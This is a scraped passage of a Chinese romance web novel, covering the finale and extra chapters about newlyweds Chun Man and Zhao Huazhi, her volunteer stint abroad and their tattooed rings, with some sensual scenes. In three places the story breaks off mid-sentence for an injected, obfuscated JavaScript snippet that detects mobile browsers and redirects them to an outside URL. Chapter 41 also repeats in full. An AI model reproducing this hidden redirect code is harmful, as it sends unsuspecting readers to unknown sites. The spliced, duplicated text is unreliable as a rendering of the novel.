赵华致无语地瞥她一眼,冷漠道:“我才这个年纪,至于吗?” 春满去哪里知道的,虽然频率是高了些,但好歹是新婚,想来也是常态。 两人打情骂俏的功夫,包间的门被人从外面推开,服务生引着姗姗来迟的满郁。 满郁不是一个人来的,旁边跟着她的小男朋友,春满之前见过照片,很上镜的长相,真人看上去五官依旧精致,但略显拘谨,跟在满郁旁边,全程十分乖巧听话。 “不好意思,路上堵车。”这个迟到的理由千篇一律,却让人挑不出毛病。 赵华致是晚辈,自然不敢有意见。 好在满郁并未对这段婚姻发表什么意见,只是交代春满:“婚后互相扶持,且行且珍惜。” 一顿饭吃完,离开时赵华致拉了拉春满的手,发现她掌心里全是汗。 “还说不紧张。” 春满苦笑,往赵华致怀里靠了靠让他抱自己:“怕我妈为难你。” 赵华致摸了摸春满的头发,轻声说:“不会的。就算被为难了也不怕,只要有你陪着,多大的困难都不棘手。” - 距离春满离开的日子越来越近,她已经把橘皮正式养在赵华致家里,避免自己出国后没人照顾。 之前邓婕妤请人给她做的那两身旗袍已经做好,送到了赵华致这里。 “你家里人知道我刚结婚便出国的事,会有意见吗?”春满在衣帽间拆打包盒时,如是问道。 用盒子来形容都敷衍了,是漆面质地考究精致的木匣子,内嵌了一层厚厚的暗红色绒布,量身旗袍被收在其中更像是收藏品。 赵华致站在门口陪着,视线聚焦在她拿起来自然垂落的旗袍上,那天在赵昭儿那儿选款式量尺寸的情形历历在目。 他把隔断门拉住,催促她去试一下,回道:“他们有自己的生活,不会在我的事上发表意见。” 春满拦住他关门的动作,明显还有话要说,但想了想,心说算了。 大概是被赵华致骄纵得失了分寸,春满觉得自己现在这种“既要自由又要别人支持”的心态过于自私。 就算赵华致说他不介意,春满想必也是不信的。 就像于春满而言,舍不得离开现在的舒适圈是真,想去做自己喜欢的事也是真的。 这是两种矛盾对立,却也可以共存的情绪。 春满把推拉门最后的距离拉住,自己在衣帽间里换衣服。 量体定制的衣服,可以说是处处熨帖。但春满可能是近段时间日子过得安逸,心里没什么事需要操心,所以稍微长了些肉。 旗袍上身后,她总觉得有些紧了。 “我是不是胖了。”春满拉开推拉门,调整着衣服,边询问赵华致的看法,边想折回衣帽间找体重秤称一下。 赵华致靠在外面的斗柜上,早就等得心猿意马,见她出来,视线灼热地在她婀娜有致的曲线上滑过。 春满踢掉鞋子赤着脚站在电子秤上,扫了眼数字,确信道:“确实重了四斤。”春满没有身材焦虑,只是疑惑,“天,这四斤长到哪里去了,我明明每天都有锻炼。” “我看看。”赵华致把她从电子秤上拉下来,上下打量一番,“我觉得正合身啊。不过——” 春满定睛看他,赵华致抬手贴合着质感轻软的料子,从那凹凸曲线上划过:“我需要仔细看看。” 春满被撩起酥酥麻麻的痒意,恼道:“你干嘛?” 赵华致的手指轻车熟路地探进旗袍开叉处,把春满抱上了衣帽间的中央岛台。 春满被深吻得喘息不及,不忘抽身提醒:“新衣服,你别撕,你妈送的,肯定要看的。” “那我帮你脱了。”赵华致的答案混着滚烫的呼吸打在春满的皮肤上。 可能是中式盘扣不好解,又或者赵华致没什么耐心,只解开胸前的几颗便作罢,方便自己行动上不受影响。 春满后仰着头,被吊顶上的白炽灯照得大脑空白,靠着最后一点意识,提醒:“回房间。” 衣帽间距离卧室几步之遥,穿过一道门便是。 春满被放到床垫上,一手勾在赵华致的脖子,另只手摸索着把旗袍剩余几颗纽扣解了。 丢在衣帽间的手机响起来时,赵华致抬头看了春满一眼:“你又叫外送了? “没有。”春满推了推赵华致,“帮我去拿,可能有事。” 赵华致不情愿,在被春满第二次催促时,才起身去把手机拿过来。 来电显示是赵昭儿,赵华致忍住接通把人骂一顿的冲动,把手机递给了春满。 春满接通,听赵昭儿在电话那头哭得上气不接下气:“嫂子,我现在能去你那里待一会儿吗?我没地方去了……” 春满从手机上移开注意力,才注意到赵华致要做什么。 春满把人拦住,眼神示意不可以,赵华致仗着春满讲着电话不方便制止他,越发肆无忌惮。 春满后背绷紧,蜷着脚趾抓了抓床单,语气尽量平稳地安抚赵昭儿两句,说:“我和你哥都在家,你过来吧。” 赵昭儿吸了吸鼻子,叽叽咕咕地吐槽了谢宴迟几句,才把电话挂了。 随着通话结束,春满终于可以大口喘气,唇齿间溢出难捱的细碎声音。 赵华致很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817918|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪地控诉:“又吵架。谢宴迟还能不能行了。” “他行不行我不知道,你真的很行。赵华致,收了神通吧。”春满紧跟着控诉道。 - 赵昭儿到的时候,赵华致开的门。 “嫂——”赵昭儿表演了个变脸,恹恹地喊了声,“哥。” 忽视掉她亲哥阴沉的脸色,赵昭儿往家里探了探头:“我嫂子呢?” 赵华致丢下一句“洗澡”,便折回屋里。 赵昭儿嘟囔着“大中午洗什么澡”,很快明白了什么,自觉闭嘴。 兄妹俩一人坐沙发一边,赵华致瞥了眼自己妹妹,道:“听说你在谢宴迟那受委屈了?好啊,总算有人能治你了。” 赵昭儿不客气地把刀扎回去:“嫂子刚结婚就要出差?你好没用。” “你懂什么。” “谁还没结婚咋滴。” “结婚第一天就离家出走,你真厉害。” 兄妹俩的互怼结束在春满洗完澡出来。 “嫂子,我哥欺负我。”赵昭儿第一时间离开沙发,过去和香香软软的春满贴贴,同时瞪一眼赵华致的方向,说,“男人没一个好东西。” 赵华致回了个同样的眼神,解锁手机联系谢宴迟。 春满哭笑不得地安抚赵昭儿,问道:“你在电话里也没说清楚,和谢宴迟为什么吵架?” 赵昭儿鼻子一皱,说:“他不让我吃饭。” 春满茫然地歪了歪头,赵昭儿心虚地撇撇嘴,说实话:“好吧。其实是我想吃冰淇淋,他不让我吃。” 没等春满主持公道,赵华致先开口评判:“就为一口冰淇淋,真有出息。” “你懂什么。”赵昭儿把赵华致先前对自己说的话还回去。 春满觉得自己没办法胜任和事佬的角色。 好在赵昭儿虽然情绪化,但哭闹一番后没有上纲上线,很快冷静下来。 谢宴迟收到赵华致的信息来接人,赵昭儿很配合地下了台阶,跟着走了。 - 家里重新安静下来,春满坐在沙发上,往赵华致身上一靠:“看着他俩,我感觉自己老了十岁。我们是不是也该多吵吵架,越是他们这种相处模式越容易保持新鲜感。” 赵华致安静地抱着她,有一下没一下地把玩着她的手,说:“我们也像他们似的吵,这不乱套了。别担心,我会努力让新鲜感保持得久一点。” 春满诧异地看向他。赵华致刮了刮她的鼻子,说:“休息一会儿我们出去,你要不要化个妆?” 春满眼睛瞪圆些,抬手摸了摸自己的脸,问:“我真的像老了十岁的样子?” “不是这个意思。”赵华致捏了捏春满戴戒指的无名指,说,“不化也可以,但我听说如果是其他女生遇到这样的事,没有被提醒提前化妆,会很遗憾。” “什么啊?”春满被他说得一头雾水,却还是配合地起身,一步三回头地往衣帽间的梳妆台走。 身影刚消失在门后,下一秒,春满冷不丁地回了回身,扒着门框,猜道:“你不会是要补求婚的仪式吧?除了这种事我想不到其他还有什么可能了。” 赵华致坐在沙发上,远远地望着她,不回答,只是笑。 春满仿佛知道了答案,一路小跑回来,跪到沙发上,双臂缠住他的脖子,问:“被我猜对了?” 赵华致往前凑了凑,轻啄她一下,嗯声:“不止求婚仪式,我们在恋爱中跳过的进度以后都慢慢补给你。” “哪有跳进度。”春满面露不解。 赵华致把她抱近些,语气认真地回答:“比如我就没有当众跟你告白,没有追求你整整两年。” 春满知道赵华致这份保证是伴随着醋意的,但没拆穿,笑着调侃:“你这真不是在炫耀吗?都没怎么追,我便成了你老婆。赵华致,你好厉害啊。” 春满一脸崇拜地盯着他。 更多的话没有说出口,赵华致给她的感情,从不比任何人少。 那些日子,无可比拟,不可超越。 ——正文完结。 40.第 40 章 40 窗外空气灰蒙蒙的,像是城市中的黄昏。 春满是这批志愿者中最后一个到的。 来接机的伙伴开一辆皮卡,是个扎马尾的干练女人,叫杨凝,年纪比春满大一些,这个差距很难体现在皮肤状态和身体素质上,是眼神和气场。春满自诩沉着坚定,但比起对方,还是娇弱一些。 开往营地这一路,春满从聊天中得知对方过去从事广告行业,结合这个信息便理解了她的行事风格。 春满落地的第一时间便给赵华致发去消息报平安,他应该是在忙,没第一时间回复。春满被杨凝带着简单熟悉了环境,然后带到宿舍稍作休息时,才接到他的视频电话。 “给你看这里的宿舍。”春满的笑脸占据屏幕一角,她举着手机照着房间转了一圈,让赵华致对这里的环境有个简单的了解。 志愿者不是来度假的,环境实在算不上好。赵华致相信春满的吃苦能力,只是担心她在太差环境里晚上能不能休息好。 “已经开始想你了,怎么办?” 听赵华致如是说,春满眼皮眨动,也泛起酸涩。她把手机拿近些,紧盯着看似近在咫尺其实远隔万里的男人。 过去一周,这种情绪同样萦绕在春满心里。求婚时,他为她放了一场烟花,转瞬即逝的绚烂画面却如同刀凿斧刻般深深地烙印在春满的记忆中, 而且她此行的行李箱都是赵华致帮忙收拾的,提前查过当地的气候和文化,衣服多是长袖长裤长袜子、遮阳帽,感冒药消炎药避免肠胃水土不服还备了益生菌,办移动卡全球通时,担心网络差给她准备了个U盘,里面拷了她可能会想看的纪录片和电影,连备用手机和充电器都考虑到了,以及指甲钳和保温杯,叮嘱她预防传染疾病,这类用品不要外借。 赵华致担心她会想家,特意准备了她平时爱吃的零食和火锅底料。 虽说这些春满自己也都会考虑到,但有人帮忙添置,这份感觉是完全不同的。 像是把另一半自己留在国内,始终放不下思念,可能这就是牵挂吧。 这种感情春满在满郁身上没有感受到,母女俩一个比一个独立,彼此给足对方自由的空间。 春满在谢开阳身上,曾经感受到过,后来不能感受了。 可能正因为这样,春满才明白这种感情的可贵。 “我也想你。”春满说,没等这种情绪发酵,她很快转移话题,“送完我从机场回公司,开会迟到了吗?” “时间刚好。而且总裁都是等底下人都到齐后,要晚出场一会儿,这样显得比较有气势。”赵华致很贴心地说了句玩笑话。 春满弯了弯嘴唇,心情跟着好了不少。 两个人没聊多久,杨凝敲响春满的宿舍门,喊她一块去吃饭,并且认识一下其他志愿者。 春满适才挂断电话,把可能要用到的东西随身装好,一起出了门。 - 赵昭儿和谢宴迟的婚礼定在春满出国后的一个月后,两家联姻的仪式排场很大,时间虽紧张,但各方人员办事的效率很高,最终呈现效果让人挑不出毛病来。 赵昭儿怀孕的事,还是被两边的家长辈知道了。赵昭儿自己坦白的。 赵隆琛和邓婕妤夫妇虽然生气,但事已至此,两个人没什么好指责的,只叮嘱如果婚后谢宴迟让她受了委屈,不必过分迁就。 夫妇俩叮嘱完,又想到赵昭儿这个泼辣的个性,想必也是不会委屈自己的。 等揣着这种复杂的心情到了夜深人静,夫妇两人突然回过味来,从得知这俩孩子在恋爱,到商量婚事,这个过程中充满了古怪,他们是不是被赵华致摆了一道。 心中虽有气,但事已至此,两个人再干涉也没用。 谢揾和谢谨央夫妇俩对这件事的态度倒是不强烈,吃惊过后,过问结婚那天的流程安排,交代给新娘的活动不要太累,一些不必要的流程能取消的便取消,多照顾着点儿。 反倒是谢开阳得知后,反应更大些:“结婚是因为这个?谢宴迟你真给谢家长脸。” 谢宴迟窝在沙发里玩联机游戏,听出话里的讽刺,说:“我现在已经成熟很多了,你没发现我都不找春满麻烦了吗?” “你也知道以前是故意找麻烦。” 谢宴迟自知理亏,缩缩脖子不说话了。 临近婚期,谢宴迟经常不在家,大多时候谢开阳都不知道他去了哪里。 赵华致倒是知道,他一连几天接到邓婕妤的电话,让他这几天回家住。 “看着你妹一点。”这是邓婕妤的原话。 赵昭儿和夫妇俩的房子相邻,一到晚上就能听见谢宴迟潜入隔壁,两个小孩拌嘴的声音。 赵华致套路了父母一回,自知心虚,碍不住他们的要求回去过一趟,特意到赵昭儿那里看了。 谢宴迟这个纨绔倒不是来当大爷的,虽没有低眉顺眼地迁就赵昭儿,但脾气肉眼可见地收敛了不少。赵昭儿情绪上来了朝他摔东西,谢宴迟就安安静静把东西捡回来摆好。 赵华致在这,说也说不得,帮也帮不上,走之前特意提醒谢宴迟:“你今晚留宿的话去住客房,怀孕前三个月不能同房。” 说这话是没避着赵昭儿,后者抱着猫,跺了下脚,大声喊“哥”,制止道:“客房也不让他住,你们一起走,别打扰我休息。” 赵华致叹气,拍了拍谢宴迟的肩膀,仿佛在无声地说“辛苦他了”,飞快地逃离了他们的家务事。 不知道这两人私下里怎么沟通的,大多时候还是挺和谐的。 邓婕妤瞧着赵昭儿和谢宴迟有商有量的状态,不止一次跟赵华致说:你妹妹真是长大了。 感慨几句,邓婕妤又问起:“婚礼那天,小满回来吗?” “她不回来。”这是春满走之前和赵华致商量好的事,漂洋过海一来一回太折腾,而且还会给其他人添麻烦,所以她提前备好了给赵昭儿的新婚贺礼,拜托赵华致当天转交给她。 邓婕妤知道赵华致有自己的主意,没说什么,只说了几句对春满在外面工作的担心,让赵华致有空多保持联系,有能帮上忙的地方多帮一下。 很快到了婚礼的日子,到场的宾客纷纷向两家人送上祝福,期间无一例外,都聊到赵华致的婚事。 随着那条财经专访的传播,赵华致已婚的消息在圈子里已经不是什么秘密。 人际关系分个亲疏远近,各人有各人的心思,势必影响对这件事的看法。 就比如有人是单纯的祝福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邓婕妤被她的牌搭子贴脸开大:“哪有这样做儿媳妇的,你得给个下马威哦,否则以后没法相处了。” 没用赵华致插话,邓婕妤四两拨千斤地回道:“人家提早跟我解释过了,好相处得很,我儿子挑人的眼光怎么可能差。” 那人又拱了几句火,见没热闹看,便悻悻地离开。 赵华致趁机对邓婕妤说:“小满是想来的,但行程早就定好,你别怪她。” 邓婕妤无语地瞥了儿子一眼,说:“你妈我是那样的恶婆婆吗?小满跟我解释一遍,你还要再来说一遍,她不了解,你还不理解我?” 赵华致以为方才邓婕妤的话只是场面话,听她又说了遍,问:“她什么时候跟你解释的?” “昨天啊。特意跟我通了视频呢。”提起这件事,邓婕妤露出满意欣慰的神情,“说没能来帮忙很抱歉,又说不能到场见证很遗憾,还嘱咐我国内天气降温,记得保暖,考虑得可周到了。” 赵华致这才知道春满私下里做过这些。 他拿起手机想告诉她不用担心这个,但想了想,又觉得让春满保持自己觉得舒服的方式更好。 41.第 41 章 41 赵华致是和春满异地的第25天,有国际出差的行程。 他特意转机飞去春满那里,这一趟也算是到当地的企业扩展业务。 没提前跟她商量,甚至落地后都没告诉她。本想远远地看一眼春满就好,却不想赶上春满和伙伴来这边办事,先碰见了他。 春满当时正跟杨凝说话,遥遥地看到赵华致都没敢认。 她又一次抬眼,看到赵华致正面带笑容地望着自己,真实感才强烈了些。春满顾不上礼貌径自打断杨凝的话,说了句“我好像看到我老公了”,然后头也不回地朝他走出。 这25天对赵华致而言是忍耐,对春满而言又何尝不是。 身出异国他乡,生活环境彻底改变,每当夜深人静时,有一种叫作思念的感情在发酵。 她用了很长时间习惯了赵华致的存在,因此短时间内不能适应这次的分别。 不知道是不是以前从未离家这么远的缘故,赵华致比以往的每一次都要想家。 当然春满在这里每一天都是满足且有收获的,也交到了一伙善良温暖的朋友。 但就是忍不住想念。 平均每天至少半小时的视频通话,对春满而言仿佛饮鸩止渴。 春满迈开的步子变成了小跑,然后越来越快。 直到扑进赵华致怀里。 赵华致被她撞得上半身往后晃了晃才稳住。 中国人是含蓄的,但阔别近一个月,小别胜新婚的感情是炙热的。 赵华致盯着她的唇,想亲吻的冲动很强烈,无奈顾及周遭人来人往投来的、无恶意的注视,以及春满的同伴还在不远处目不转睛地盯着这边。 “真的是你啊,我刚刚差点以为自己认错了人。”春满自以为还算镇定,但话语里根本藏不住惊喜。春满从他胸膛里离开,“怎么没提前告诉我?” “怕你很忙,想待会儿去偷偷看你一眼。”赵华致近距离地打量她,黑了瘦了,“你不是说其他志愿者都没有家里人来探望,不想搞特殊吗?我想自己也得做个懂事的、不给你拖后腿的家属。” 春满是说过这话,也的确有这方面顾虑,同样也担心赵华致一来一回耽误工作。 但如今见到面,日思夜想的人触手可及,没有把人赶回去的道理。 问过赵华致可以自由支配的时间,春满说:“我跟朋友正好回营地,你要去看看吗?” “当然。”赵华致说。 春满牵着赵华致走回杨凝身边,给双方介绍彼此。 不知道是不是春满的错觉,杨凝从刚刚看到赵华致的时候,神情便有些不对劲。 杨凝不似平常时社交技能拉满的模样,冷淡地点了下头,避开和赵华致接触。 几句简单的互动后,三人坐上了返程的车。 到营地时正是食堂做饭时间,有饭香味飘过来。赵华致风尘仆仆却没觉得饿,他对春满说:“先带我去看看你住的地方。” 瞧见赵华致眼底滚烫的情绪,春满对他的主意门清儿,跟杨凝打了声招呼,便先带赵华致走了。 宿舍楼条件简陋,虽是单人间,但隔音并不好。夜深人静时,隔壁呼噜声大点儿都能听得清楚。 一前一后进了门,春满就被赵华致按在了门板上,细细密密的吻伴随着滚烫的呼吸落下来,春满手背在身后,摸索着把门锁别住,才抬手勾住了赵华致的脖子。 不需要增趣的暧昧和挑逗,两个人全程都很直接。 可再激烈都不足以证明自己内心的狂热与喜欢。 “好想你。”春满已经不知道说了多少遍。 “我也是。”每一句赵华致都会回应。 他们脚踩着脚,从地板旋转到床上。 铁床的圆腿比手指粗不了多少,薄薄的一层木板上被褥也是旧的,硬得硌骨头。 春满身前也是硬的,才一个月不见,赵华致身材似乎更好了,胸膛开阔,肌肉结实,薄汗为亚洲人的黄皮肤镀了一层勾人的釉质。 在床腿吱悠的摇晃声和床架撞到墙面的细碎声音中,旖旎的空气逐渐升温。 一切归于宁静时,赵华致起身去开窗通风,清透耀眼的阳光倾洒到斑驳的桌面上。 春满趴在赵华致胸膛上,听着他有力的心跳声。 已经过了晚饭的时间,经过一番折腾,他们的确饿了,但一点儿起床的兆头都没有。 赵华致捏了捏春满左手无名指该戴戒指的指节,视线垂下去,直直地看向她的手指。 无名指的皮肤上留着浅浅的有戒指在这里戴过的痕迹,但本该一直戴着的戒指没了踪影。 春满后知后觉她在看什么,攥了攥手指,有些抱歉地解释:“昨天洗澡时摘下来了会儿,结果找不到了。” 赵华致摸了摸她的头发,眼底情绪沉沉,他明显觉得这种事不是什么好兆头。 春满一瞬不瞬地凝望着他,往他肩上爬了爬,低声:“不是故意的,我连洗手池的水管都拆了,也没找到。” “等回国我来买一对吧。”春满和他商量。 赵华致似乎被安抚住,只心疼地看着春满,说:“累瘦了,戒指都松了。” 两人出门时正碰见同批志愿者中的另一个女孩哼着歌回来。她看到春满,欢喜地打招呼,眉飞色舞地打量着赵华致,不掩饰地说:“听杨凝说你老公来找你……这踏马也太帅了吧。咳咳,我是说,你们看上去真般配。” 园园一不小心把心里话脱口而出,及时找补了句,不好意思地嘿嘿笑着。 赵华致不介意地冲她点点头,说:“你好。” 等错身走远,春满才想起来问:“你之前认识杨凝吗?” 赵华致想了想,回答:“没印象。怎么了?” “没事,只是感觉她看你的眼神怪怪的。”春满说完便觉得应该是自己多想了,说不准杨凝是有边界和分寸感,不想产生不必要的接触呢。 想明白这一点,春满便不再为此困扰。 食堂里没饭了,两人在街上逛了会儿,进了家小饭馆。 店里生意还不错,除了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这大概是这位纹身师完成的最简单的刺青作品,春满回国后陪姜早早去刺青店遮疤,见到闺蜜排了半年档期的纹身师是熟人时,吃了一惊,在店里等待的那几个小时,翻看对方过往作品集,又吃了二惊。 不得不说,赵华致看人是有些准头儿的。 原本还觉得在非洲大街上随便捡个师傅文身的举动不太安全,没想到是她和赵华致占到便宜了。 简直是用牛刀杀鸡,不对,是杀蚂蚁。 赵华致延长了私人行程的时间,但时间仿佛被开了加速器一般,流逝得异常快。 没给春满送他去机场的机会,赵华致提前安排好的车子开到营地来接人,并且顺路为营地送来了一批关键物资。 临分别前,赵华致拉着春满的手。两人无名指上的文身处微微泛红,还没有完全恢复。 手指外侧是细细的墨黑色的线,内侧则有所差异,赵华致文着“CM”,春满手上则是“ZHZ”。 赵华致看了一遍又一遍,终于舍得抬头,对春满说:“这下丢不了了。” 第 41 章【VIP】 第41章 文身戒指。 41 赵华致是和春满异地的第25天, 有国际出差的行程。 他特意转机飞去春满那里,这一趟也算是到当地的企业扩展业务。 没提前跟她商量,甚至落地后都没告诉她。本想远远地看一眼春满就好, 却不想赶上春满和伙伴来这边办事,先碰见了他。 春满当时正跟杨凝说话, 遥遥地看到赵华致都没敢认。 她又一次抬眼,看到赵华致正面带笑容地望着自己,真实感才强烈了些。春满顾不上礼貌径自打断杨凝的话,说了句“我好像看到我老公了”,然后头也不回地朝他走出。 这25天对赵华致而言是忍耐,对春满而言又何尝不是。 身出异国他乡, 生活环境彻底改变, 每当夜深人静时,有一种叫作思念的感情在发酵。 她用了很长时间习惯了赵华致的存在,因此短时间内不能适应这次的分别。 不知道是不是以前从未离家这么远的缘故,赵华致比以往的每一次都要想家。 当然春满在这里每一天都是满足且有收获的, 也交到了一伙善良温暖的朋友。 但就是忍不住想念。 平均每天至少半小时的视频通话, 对春满而言仿佛饮鸩止渴。 春满迈开的步子变成了小跑, 然后越来越快。 直到扑进赵华致怀里。 赵华致被她撞得上半身往后晃了晃才稳住。 中国人是含蓄的,但阔别近一个月,小别胜新婚的感情是炙热的。 赵华致盯着她的唇,想亲吻的冲动很强烈, 无奈顾及周遭人来人往投来的、无恶意的注视,以及春满的同伴还在不远处目不转睛地盯着这边。 “真的是你啊,我刚刚差点以为自己认错了人。”春满自以为还算镇定, 但话语里根本藏不住惊喜。春满从他胸膛里离开,“怎么没提前告诉我?” “怕你很忙, 想待会儿去偷偷看你一眼。”赵华致近距离地打量她,黑了瘦了,“你不是说其他志愿者都没有家里人来探望,不想搞特殊吗?我想自己也得做个懂事的、不给你拖后腿的家属。” 春满是说过这话,也的确有这方面顾虑,同样也担心赵华致一来一回耽误工作。 但如今见到面,日思夜想的人触手可及,没有把人赶回去的道理。 问过赵华致可以自由支配的时间,春满说:“我跟朋友正好回营地,你要去看看吗?” “当然。”赵华致说。 春满牵着赵华致走回杨凝身边,给双方介绍彼此。 不知道是不是春满的错觉,杨凝从刚刚看到赵华致的时候,神情便有些不对劲。 杨凝不似平常时社交技能拉满的模样,冷淡地点了下头,避开和赵华致接触。 几句简单的互动后,三人坐上了返程的车。 到营地时正是食堂做饭时间,有饭香味飘过来。赵华致风尘仆仆却没觉得饿,他对春满说:“先带我去看看你住的地方。” 瞧见赵华致眼底滚烫的情绪,春满对他的主意门清儿,跟杨凝打了声招呼,便先带赵华致走了。 宿舍楼条件简陋,虽是单人间,但隔音并不好。夜深人静时,隔壁呼噜声大点儿都能听得清楚。 一前一后进了门,春满就被赵华致按在了门板上,细细密密的吻伴随着滚烫的呼吸落下来,春满手背在身后,摸索着把门锁别住,才抬手勾住了赵华致的脖子。 不需要增趣的暧昧和挑逗,两个人全程都很直接。 可再激烈都不足以证明自己内心的狂热与喜欢。 “好想你。”春满已经不知道说了多少遍。 “我也是。”每一句赵华致都会回应。 他们脚踩着脚,从地板旋转到床上。 铁床的圆腿比手指粗不了多少,薄薄的一层木板上被褥也是旧的,硬得硌骨头。 春满身前也是硬的,才一个月不见,赵华致身材似乎更好了,胸膛开阔,肌肉结实,薄汗为亚洲人的黄皮肤镀了一层勾人的釉质。 在床腿吱悠的摇晃声和床架撞到墙面的细碎声音中,旖旎的空气逐渐升温。 一切归于宁静时,赵华致起身去开窗通风,清透耀眼的阳光倾洒到斑驳的桌面上。 春满趴在赵华致胸膛上,听着他有力的心跳声。 已经过了晚饭的时间,经过一番折腾,他们的确饿了,但一点儿起床的兆头都没有。 赵华致捏了捏春满左手无名指该戴戒指的指节,视线垂下去,直直地看向她的手指。 无名指的皮肤上留着浅浅的有戒指在这里戴过的痕迹,但本该一直戴着的戒指没了踪影。 春满后知后觉她在看什么,攥了攥手指,有些抱歉地解释:“昨天洗澡时摘下来了会儿,结果找不到了。” 赵华致摸了摸她的头发,眼底情绪沉沉,他明显觉得这种事不是什么好兆头。 春满一瞬不瞬地凝望着他,往他肩上爬了爬,低声:“不是故意的,我连洗手池的水管都拆了,也没找到。” “等回国我来买一对吧。”春满和他商量。 赵华致似乎被安抚住,只心疼地看着春满,说:“累瘦了,戒指都松了。” 两人出门时正碰见同批志愿者中的另一个女孩哼着歌回来。她看到春满,欢喜地打招呼,眉飞色舞地打量着赵华致,不掩饰地说:“听杨凝说你老公来找你……这踏马也太帅了吧。咳咳,我是说,你们看上去真般配。” 园园一不小心把心里话脱口而出,及时找补了句,不好意思地嘿嘿笑着。 赵华致不介意地冲她点点头,说:“你好。” 等错身走远,春满才想起来问:“你之前认识杨凝吗?” 赵华致想了想,回答:“没印象。怎么了?” “没事,只是感觉她看你的眼神怪怪的。”春满说完便觉得应该是自己多想了,说不准杨凝是有边界和分寸感,不想产生不必要的接触呢。 想明白这一点,春满便不再为此困扰。 食堂里没饭了,两人在街上逛了会儿,进了家小饭馆。 店里生意还不错,除了几桌当地人还有一个东方面孔。 赵华致说看样子可能是个来旅游的背包客,春满则觉得更大可能是个流浪艺术家。 春满认为他脑后长发扎起的小揪揪很符合这个身份的气质,加之他一边吃饭一边盯着墙上极具文化特色的符文看,让春满越发坚定了这一猜测。 只是没等两人确认,对方已经用完餐离开了。 等春满和赵华致吃完饭出来,在街上逛纪念品小摊时,又遇见了那个老乡。 对方显然也认出赵华致和春满,很自然地用国语打了个招呼:“这个摊位挺有意思的,要来看看吗?” 春满问出心中的猜测:“你是画家?” “这么说也可以。更准确的说我是纹身师。”防晒上衣遮挡住的手腕露出来些,能看到花臂一角。 好吧。他们都猜错了。 春满注意力很快被摊位上的纪念品吸引,她每每外出都喜欢买各种各样实用的不实用的东西,以此定格当时的心情,抑或者日后用来送朋友也很不错。虽说国内义乌小商品的种类繁多,价格低廉,但总有些是很难买到的,意义也是不同的。 几分钟时间,她挑了四五样,询问赵华致要买些什么吗,才注意到他正跟那位纹身师聊天。 没留神听他们已经聊过什么,只依稀听见男人说自己是来非洲学习部落刺青的,在北央有好几家刺青店。 经过几句话的摸底,赵华致看上去似乎很是信任对方的样子,甚至提出想文身。 “这个简单,半小时搞定。确定要文?”男人问。 赵华致没急着确认,偏头看向春满,同时捏了捏她的无名指,问:“我们文一对戒指?” 春满心中的诧异没等发酵,闻言,怔了下,很快扬起笑脸应道:“好啊。” 赵华致想了想,说:“把名字的首字母缩写设计进去吧。” 春满下意识觉得太招摇,补充道:“那就加在手指内侧,低调一点。” 这大概是这位纹身师完成的最简单的刺青作品,春满回国后陪姜早早去刺青店遮疤,见到闺蜜排了半年档期的纹身师是熟人时,吃了一惊,在店里等待的那几个小时,翻看对方过往作品集,又吃了二惊。 不得不说,赵华致看人是有些准头儿的。 原本还觉得在非洲大街上随便捡个师傅文身的举动不太安全,没想到是她和赵华致占到便宜了。 简直是用牛刀杀鸡,不对,是杀蚂蚁。 赵华致延长了私人行程的时间,但时间仿佛被开了加速器一般,流逝得异常快。 没给春满送他去机场的机会,赵华致提前安排好的车子开到营地来接人,并且顺路为营地送来了一批关键物资。 临分别前,赵华致拉着春满的手。两人无名指上的文身处微微泛红,还没有完全恢复。 手指外侧是细细的墨黑色的线,内侧则有所差异,赵华致文着“CM”,春满手上则是“ZHZ”。 赵华致看了一遍又一遍,终于舍得抬头,对春满说:“这下丢不了了。” 【END】 第42章 小别扭。 42 同批志愿者中有位大叔, 也是北央人,大家都叫他闻哥。家里是开工厂的,他自己以前也创业过。 送走赵华致不多时, 闻哥突然神经质地一拍脑门,对春满说:“我就说看你老公眼熟。他是不是姓赵?” 闻哥两眼放光, 为自己一闪而过的记忆很是骄傲。 赵华致来的这几天,一直低调行事,不愿给春满搞特殊化。 春满倒不会意外他被人认出来,只是及时应下闻哥的话,避免事情节外生枝。 闻哥是生意人,社交的分寸很是得体, 接下来的话没指名道姓, 但彼此都知道聊的主人公是谁。 “这世界也太小了,没想到出个国还能碰见熟人。”闻哥如是说。 余光看到杨凝原本在不远处归整东西,遥遥地听见他们聊天,拿着东西走远了些, 春满觉得她似乎在躲着什么人。 春满在这里人生地不熟, 跟杨凝关系最好。虽然目前还没到知根知底的地步, 但基于日常言谈处事来看,两人很合得来,春满是有长久地维护这段关系的打算。 所以当春满结束和闻哥的闲聊后,寻了个机会过去关心杨凝。 “你看上去心情不好, 是遇到什么事了?” 杨凝说了句“没事”,不止话语,连眼神都像是在躲闪。 春满简单回忆自己近来的经历, 不觉得有什么冒犯到对方的地方。 不过这样的状态没维持几天,杨凝便恢复到了春满熟悉的模样, 亲近周到,闲时幽默能逗趣,忙时不慌能扛事。 春满便将这段不愉快的小插曲忘掉了,只当是女性每个月受激素影响情绪波动的正常现象- 国内下第一场雪的时候,春满回了趟国。 